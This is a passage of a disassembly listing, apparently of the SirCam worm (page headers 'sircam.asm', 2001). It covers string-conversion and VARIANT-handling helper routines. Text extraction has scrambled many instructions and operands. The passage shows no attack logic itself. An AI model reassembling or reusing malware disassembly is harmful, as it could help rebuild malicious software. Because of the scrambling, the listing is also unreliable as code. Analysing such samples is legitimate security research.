ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_403F09: ; CODE XREF: sub_403EEC+12\030j cmp ebx, 400h jge short loc_403F37 push 0 push 0 push 800h lea eax, [esp+80Ch+var_800] push eax push ebx push edi push 0 push 0 call j_WideCharToMultiByte mov ecx, eax mov edx, esp mov eax, esi call sub_4035B0 jmp short loc_403F6A ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_403F37: push push push push push push push push call mov mov mov xor call push push push mov push push push push push call ; CODE XREF: sub_403EEC+23\030j 0 0 0 0 ebx edi 0 0 j_WideCharToMultiByte ebp, eax eax, esi ecx, ebp edx, edx sub_4035B0 0 0 ebp eax, [esi] eax ebx edi 0 0 j_WideCharToMultiByte loc_403F6A: sub_403EEC ; CODE XREF: sub_403EEC+1B\030j ; sub_403EEC+49\030j add pop pop pop pop retn endp esp, 800h ebp edi esi ebx ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_403F78 proc near ; CODE XREF: sub_404238+12\031p sircam.asm Fri Aug 10 12:42:44 2001 var_4 = dword ptr -4 sub_403F78 push ebx push esi push 0 mov esi, edx mov ebx, eax mov [esp+4+var_4], ebx mov eax, [esp+4+var_4] push eax call j_SysStringLen mov edx, eax mov ecx, esi mov eax, ebx call sub_403EEC pop edx pop esi pop ebx retn endp ; sp = -4 103 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_403F9C proc near var_800 = byte ptr -800h ; CODE XREF: sub_404268+7\031p push ebx push esi push edi push ebp add esp, 0FFFFF800h mov ebx, eax mov eax, ebx call sub_403724 mov esi, eax mov eax, ebx call sub_403724 cmp eax, 400h jge short loc_403FEA push 400h lea eax, [esp+804h+var_800] push eax push esi mov eax, ebx call sub_4038E8 push eax push 0 push 0 call j_MultiByteToWideChar push eax lea eax, [esp+804h+var_800] push eax call j_SysAllocStringLen mov edi, eax jmp short loc_404012 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_403FEA: ; CODE XREF: sub_403F9C+21\030j push push push push push push 0 0 esi ebx 0 0 sircam.asm Fri Aug 10 12:42:44 2001 call mov push push call mov push push push push push push call j_MultiByteToWideChar ebp, eax ebp 0 j_SysAllocStringLen edi, eax ebp edi esi ebx 0 0 j_MultiByteToWideChar loc_404012: sub_403F9C 104 ; CODE XREF: sub_403F9C+4C\030j mov eax, edi add esp, 800h pop ebp pop edi pop esi pop ebx retn endp ; sp = -8 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_404020 proc near sub_404020 mov jmp endp ; CODE XREF: sub_404194+4A\031p ; sub_404194+98\031p ; DATA XREF: ... al, 0Fh sub_402618 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_404028: ; CODE XREF: CODE:00404106\031j ; DATA XREF: sub_405880+6D\031o ... mov al, 10h jmp sub_402618 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ retn ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_404030 proc near ; CODE XREF: sub_404194+51\031p ; sub_404238+19\031p ... xor edx, edx mov dx, [eax] test edx, 4000h jnz short loc_404065 cmp edx, 8 jb short loc_404065 cmp edx, 100h jz short loc_404058 cmp edx, 101h jnz short loc_40406B jmp ds:dword_41E3E0 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_404058: mov add jmp ; CODE XREF: sub_404030+18\030j word ptr [eax], 0 eax, 8 sub_4034C8 sircam.asm Fri Aug 10 12:42:44 2001 105 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_404065: ; CODE XREF: sub_404030+B\030j ; sub_404030+10\030j word ptr [eax], 0 mov retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40406B: sub_404030 ; CODE XREF: sub_404030+20\030j push eax call j_VariantClear retn endp ; sp = -4 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_404074 proc near ; CODE XREF: sub_403CDC+92\030p ; sub_403DF8+75\030p ... cmp eax, edx jz locret_40410C cmp word ptr [eax], 8 jb short loc_4040AC push eax push edx cmp word ptr [eax], 100h jz short loc_4040A2 cmp word ptr [eax], 101h jz short loc_40409A push eax call j_VariantClear jmp short loc_4040AA ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40409A: ; CODE XREF: sub_404074+1C\030j call ds:dword_41E3E0 jmp short loc_4040AA ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4040A2: ; CODE XREF: sub_404074+15\030j add call eax, 8 sub_4034C8 loc_4040AA: ; CODE XREF: sub_404074+24\030j ; sub_404074+2C\030j pop pop loc_4040AC: sub_404074 cmp jnb endp edx eax ; CODE XREF: sub_404074+C\030j word ptr [edx], 8 short loc_4040C3 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_4040B2 sub_4040B2 proc near mov ecx, [edx] mov [eax], ecx mov ecx, [edx+8] mov [eax+8], ecx mov ecx, [edx+0Ch] mov [eax+0Ch], ecx retn endp ; CODE XREF: CODE:004040D2\031p sircam.asm Fri Aug 10 12:42:44 2001 106 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4040C3: ; CODE XREF: sub_404074+3C\030j cmp word ptr [edx], 100h jz short loc_4040DE cmp word ptr [edx], 101h jnz short loc_4040F8 push eax call sub_4040B2 pop eax jmp ds:dword_41E3E8 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4040DE: ; CODE XREF: CODE:004040C8\030j mov edx, [edx+8] or edx, edx jz short loc_4040EF mov ecx, [edx-8] inc ecx jle short loc_4040EF lock inc dword ptr [edx-8] loc_4040EF: ; CODE XREF: CODE:004040E3\030j ; CODE:004040E9\030j word ptr [eax], 100h [eax+8], edx mov mov retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4040F8: mov push push call or jnz ; CODE XREF: CODE:004040CF\030j word ptr [eax], 0 edx eax j_VariantCopyInd eax, eax loc_404028 locret_40410C: ; CODE XREF: sub_404074+2\030j retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_404110 proc near var_10 = byte ptr -10h ; CODE XREF: sub_40417C+A\031p ; sub_404194+6F\031p push ebp mov ebp, esp add esp, 0FFFFFFF0h push ebx push esi push edi mov esi, edx lea edi, [ebp+var_10] push ecx mov ecx, 4 repe movsd pop ecx mov esi, ecx mov ebx, eax lea eax, [ebp+var_10] call sub_4043C0 xor eax, eax push ebp push offset loc_40416C sircam.asm Fri Aug 10 12:42:44 2001 push mov lea call lea mov mov call xor pop pop pop mov push loc_404163: sub_404110 107 dword ptr fs:[eax] fs:[eax], esp eax, [ebp+var_10] ds:dword_41E3E4 edx, [ebp+var_10] eax, ebx ecx, esi sub_404194 eax, eax edx ecx ecx fs:[eax], edx offset loc_404173 ; CODE XREF: CODE:00404171\031j lea eax, [ebp+var_10] call sub_4043B8 retn endp ; sp = -24h ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40416C: ; DATA XREF: sub_404110+26\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_404163 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_404173: ; DATA XREF: sub_404110+4E\030o pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40417C proc near push xor cmp jnz call mov ebx ebx, ebx word ptr [edx], 101h short loc_40418D sub_404110 bl, 1 mov pop retn endp eax, ebx ebx loc_40418D: sub_40417C ; CODE XREF: sub_404194+25\031p ; sub_404194+7C\031p ; CODE XREF: sub_40417C+8\030j ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_404194 proc near var_10 var_8 var_4 = dword ptr -10h = dword ptr -8 = dword ptr -4 ; CODE XREF: sub_404110+41\030p ; sub_404288+5E\031p ... sircam.asm Fri Aug 10 12:42:44 2001 108 push ebp mov ebp, esp add esp, 0FFFFFFF0h push ebx push esi push edi mov edi, ecx mov esi, edx mov ebx, eax mov ax, [ebx] sub ax, 100h jz short loc_4041B3 dec ax jz short loc_4041FD jmp short loc_40420A ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4041B3: mov mov mov call test jnz mov push push push push lea push call test jz call ; CODE XREF: sub_404194+16\030j edx, esi eax, ebx ecx, edi sub_40417C al, al short loc_404231 word ptr [ebp+var_10], 0 edi 0 400h esi eax, [ebp+var_10] eax j_VariantChangeTypeEx eax, eax short loc_4041E3 sub_404020 loc_4041E3: ; CODE XREF: sub_404194+48\030j mov eax, ebx call sub_404030 mov eax, [ebp+var_10] mov [ebx], eax mov eax, [ebp+var_8] mov [ebx+8], eax mov eax, [ebp+var_4] mov [ebx+0Ch], eax jmp short loc_404231 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4041FD: ; CODE XREF: sub_404194+1B\030j mov edx, esi mov eax, ebx mov ecx, edi call sub_404110 jmp short loc_404231 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40420A: mov mov mov call test jnz push push push push push call ; CODE XREF: sub_404194+1D\030j edx, esi eax, ebx ecx, edi sub_40417C al, al short loc_404231 edi 0 400h esi ebx j_VariantChangeTypeEx sircam.asm Fri Aug 10 12:42:44 2001 test jz call eax, eax short loc_404231 sub_404020 loc_404231: sub_404194 109 ; CODE XREF: sub_404194+2C\030j ; sub_404194+67\030j ... pop pop pop mov pop retn endp edi esi ebx esp, ebp ebp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_404238 proc near var_4 = dword ptr -4 sub_404238 push mov push push mov xor mov mov lea call mov call mov mov mov pop pop pop retn endp ; CODE XREF: sub_404288+96\031p ; sub_404288+C3\031p ebp ebp, esp ecx ebx ebx, eax eax, eax [ebp+var_4], eax eax, [edx+8] edx, [ebp+var_4] sub_403F78 eax, ebx sub_404030 word ptr [ebx], 100h eax, [ebp+var_4] [ebx+8], eax ebx ecx ebp ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_404268 proc near sub_404268 push push mov mov call mov mov call mov mov pop pop retn endp ; CODE XREF: sub_404288+30\031p ; sub_404288+43\031p ebx esi ebx, eax eax, [edx+8] sub_403F9C esi, eax eax, ebx sub_404030 word ptr [ebx], 8 [ebx+8], esi esi ebx ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sircam.asm Fri Aug 10 12:42:44 2001 110 ; Attributes: bp-based frame sub_404288 proc near var_14 var_10 = dword ptr -14h = word ptr -10h ; CODE XREF: sub_40437C+22\031p push ebp mov ebp, esp add esp, 0FFFFFFECh push ebx mov [ebp+var_14], eax mov ax, [edx] mov ebx, ecx cmp bx, ax jnz short loc_4042A9 mov eax, [ebp+var_14] call sub_404074 jmp loc_404377 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4042A9: ; CODE XREF: sub_404288+12\030j cmp ax, 100h jnz short loc_404308 cmp bx, 8 jnz short loc_4042C2 mov eax, [ebp+var_14] call sub_404268 jmp loc_404377 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4042C2: mov lea call xor push push push mov lea mov mov call xor pop pop pop mov push ; CODE XREF: sub_404288+2B\030j [ebp+var_10], 0 eax, [ebp+var_10] sub_404268 eax, eax ebp offset loc_404301 dword ptr fs:[eax] fs:[eax], esp edx, [ebp+var_10] eax, [ebp+var_14] ecx, ebx sub_404194 eax, eax edx ecx ecx fs:[eax], edx offset loc_404377 loc_4042F8: ; CODE XREF: sub_404288+7E\031j lea eax, [ebp+var_10] call sub_404030 retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_404301: ; DATA XREF: sub_404288+4B\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_4042F8 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_404308: ; CODE XREF: sub_404288+25\030j cmp jnz cmp jz cmp bx, 100h short loc_40436D ax, 101h short loc_40436D ax, 8 sircam.asm Fri Aug 10 12:42:44 2001 111 jnz short loc_404325 mov eax, [ebp+var_14] call sub_404238 jmp short loc_404377 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_404325: mov lea mov call xor push push push mov lea mov call xor pop pop pop mov push ; CODE XREF: sub_404288+91\030j [ebp+var_10], 0 eax, [ebp+var_10] cx, 8 sub_404194 eax, eax ebp offset loc_404366 dword ptr fs:[eax] fs:[eax], esp edx, [ebp+var_10] eax, [ebp+var_14] sub_404238 eax, eax edx ecx ecx fs:[eax], edx offset loc_404377 loc_40435D: ; CODE XREF: sub_404288+E3\031j lea eax, [ebp+var_10] call sub_404030 retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_404366: ; DATA XREF: sub_404288+B2\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_40435D ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40436D: mov mov call ; CODE XREF: sub_404288+85\030j ; sub_404288+8B\030j eax, [ebp+var_14] ecx, ebx sub_404194 loc_404377: sub_404288 ; CODE XREF: sub_404288+1C\030j ; sub_404288+35\030j ... pop mov pop retn endp ebx esp, ebp ebp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40437C proc near var_14 var_C = word ptr -14h = dword ptr -0Ch ; CODE XREF: sub_4076E0+A\031p cmp word ptr [edx], 100h jnz short loc_40438B mov edx, [edx+8] jmp sub_40351C ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40438B: ; CODE XREF: sub_40437C+5\030j push mov ebx ebx, eax sircam.asm sub_40437C Fri Aug 10 12:42:44 2001 sub mov mov mov call mov call mov mov add pop retn endp 112 esp, 10h [esp+14h+var_14], 0 eax, esp ecx, 100h sub_404288 eax, ebx sub_4034C8 eax, [esp+14h+var_C] [ebx], eax esp, 10h ebx ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_4043B8 proc near sub_4043B8 push call pop retn endp ; CODE XREF: sub_403BE8+86\030p ; sub_404110+56\030p ... eax sub_404030 eax ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_4043C0 proc near ; CODE XREF: sub_404110+1E\030p cmp word ptr [eax], 8 jb short locret_4043E0 push dword ptr [eax+0Ch] push dword ptr [eax+8] push dword ptr [eax+4] push dword ptr [eax] mov word ptr [eax], 0 mov edx, esp call sub_404074 add esp, 10h locret_4043E0: sub_4043C0 ; CODE XREF: sub_4043C0+4\030j retn endp ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_4043E4 proc near ; CODE XREF: sub_4043EC\031p test eax, eax jz short locret_4043EB mov eax, [eax-4] locret_4043EB: sub_4043E4 ; CODE XREF: sub_4043E4+2\030j retn endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_4043EC proc near call sub_4043E4 dec eax ; CODE XREF: sub_40A564+11\031p sircam.asm sub_4043EC Fri Aug 10 12:42:44 2001 113 retn endp ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_4043F4 proc near arg_0 = dword ptr sub_4043F4 push mov push call pop retn endp ; CODE XREF: sub_404414+104\031p 8 ebp ebp, esp [ebp+arg_0] sub_403DF8 ebp 4 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 